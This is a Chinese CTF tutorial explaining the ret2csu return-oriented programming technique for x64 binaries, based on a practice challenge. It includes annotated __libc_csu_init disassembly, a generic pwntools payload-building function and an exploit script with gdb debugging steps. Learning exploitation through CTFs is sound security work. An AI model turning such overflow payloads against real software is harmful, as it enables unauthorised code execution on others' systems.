有学到更多的会慢慢更新的
参考
原理:
- 这个函数是用来对
libc
进行初始化操作的,而一般的程序都会调用 libc
函数,所以这个函数一定会存在。
- 在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的
gadgets
。这时候,我们可以利用 x64 下的 __libc_csu_init
中的 gadgets
汇编:
(例子来源:NSSCTF-[HNCTF 2022 WEEK2]ret2csu(题目))
libc_csu_init函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| .text:0000000000401250 ; =============== S U B R O U T I N E ======================================= .text:0000000000401250 .text:0000000000401250 .text:0000000000401250 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64) .text:0000000000401250 public __libc_csu_init .text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o .text:0000000000401250 ; __unwind { .text:0000000000401250 endbr64 .text:0000000000401254 push r15 .text:0000000000401256 lea r15, __frame_dummy_init_array_entry .text:000000000040125D push r14 .text:000000000040125F mov r14, rdx .text:0000000000401262 push r13 .text:0000000000401264 mov r13, rsi .text:0000000000401267 push r12 .text:0000000000401269 mov r12d, edi .text:000000000040126C push rbp .text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000401274 push rbx .text:0000000000401275 sub rbp, r15 .text:0000000000401278 sub rsp, 8 .text:000000000040127C call _init_proc .text:0000000000401281 sar rbp, 3 .text:0000000000401285 jz short loc_4012A6 .text:0000000000401287 xor ebx, ebx .text:0000000000401289 nop dword ptr [rax+00000000h] .text:0000000000401290 .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn .text:00000000004012B4 ; } // starts at 401250 .text:00000000004012B4 __libc_csu_init endp .text:00000000004012B4
|
重点:
第一段
1 2 3 4 5 6 7 8 9 10
| .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn .text:00000000004012B4 ; } // starts at 401250
|
- 这段代码可以将你构造的栈中的值一个一个顺序存到
rbx
,rbp
,r12
,r13
,r14
,r15
寄存器中。
- 需要注意的是,可能随着环境的不同,
r13
,r14
,r15
的顺序也会有所改变。
第二段
1 2 3 4 5 6 7 8
| .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290
|
- 通过 1 段最后的
ret
,使程序流程到 2 段,这里将存储在 r14
的值赋给 rdx
,存储在 r13
的值赋给 rsi
,存储在 r12
的值赋给 edi
,此时 rdi
的高 32 位寄存器中值为 0,所以我们也可以控制 rdi
的值。
call
指令跳转到 r15
寄存器存储的位置处(在 1 段中置 rbx=0
)
rbx+1
,判断是否与 rbp
相等,否则重新执行 2 段,为了不重新执行,要将 rbp
置为 1
- 这 2 段执行完之后,顺序往下走汇编码,又会走到 1 段,重新走 1 段时,会把
rbx
,rbp
,r12
,r13
,r14
,r15
六个寄存器重新设值,但这六个寄存器已经没用了,所以可以为任意的填充。我们的目的仅仅是要控制 rdi
,rsi
,rdx
三个寄存器来存放函数的参数。我们需要填充 7x8=56 个字符 ,填充到返回地址,也就是这里.text:00000000004012B4 retn
,然后设置特定的返回地址
- 需要注意的是,
rdi
为第一个参数的存放寄存器,rsi
为第二个参数,rdx
为第三个参数。
使用场景:
- 没有足够单条
gadget
的场景。
- 需要传递多个参数的函数调用。
- 绕过现代二进制防护机制。
通用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13
| def ret_csu(r12, r13, r14, r15, last): payload = b'a'* offset #填充偏移量 payload += p64(csu1) + p64(0) #p64(csu1) 到pop rbx,rbp,r12,r13,r14,r15 #p64(0) rsp+8的填充 payload += p64(0) + p64(1) #rbx=0 call指令跳转到对应的地方(这里是跳转到r15) #rbp=1 不重新执行2段 payload += p64(r12) + p64(r13) + p64(r14) + p64(r15) #三个参数的寄存器(这里是rdi=edi=r12 rsi=r13 rdx=r14 r15是我们想调用的函数) payload += p64(csu2) payload+=b'a'*56+p64(last) #填充 最后返回地址 io.sendline(payload)
|
call
函数为跳转到某地址内所保存的地址,应该使用 got
表中的地址
ret
指令必须跳转到一段有效的汇编指令,所以应为 plt
表中的地址
问题:
(例子:NSSCTF-[HNCTF 2022 WEEK2]ret2csu(题目))
为什么填充56个字节?
根据题目写到 p64(csu2)
处,进行调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * from LibcSearcher import * context(arch='amd64',log_level='debug') # io=remote('node5.anna.nssctf.cn',24027) io=process('/home/motaly/csu') elf=ELF('/home/motaly/csu')
write_got = elf.got['write'] main_addr = 0x4011DC csu1_addr = 0x4012A6 csu2_addr = 0x401290 rdi = 0x4012b3
gdb.attach(io) payload=b'a'*264 payload+=p64(csu1_addr)+p64(0) #pop rbx,rbp,r12,r13,r14,r15 rsp+8 payload+=p64(0)+p64(1) #rbx=0 call指令跳转到r15 rbp=1 不重新执行 payload+=p64(1)+p64(8)+p64(write_got)+p64(main_addr) # rdi=edi=r12 rsi=r13 rdx=r14 r15是我们想调用的函数 payload+=p64(csu2_addr) io.sendline(payload) pause() io.interactive()
|
一直用 ni
指令,运行到 __libc_csu_init
处

因为填充完后我们给的地址是 csu1_addr(0x4012A6)
对应的是这里

所以直接用指令 retaddr
查看ret地址,并用 stack
指令查看当前栈情况

看到填充 0x38(56) ,就能到达 ret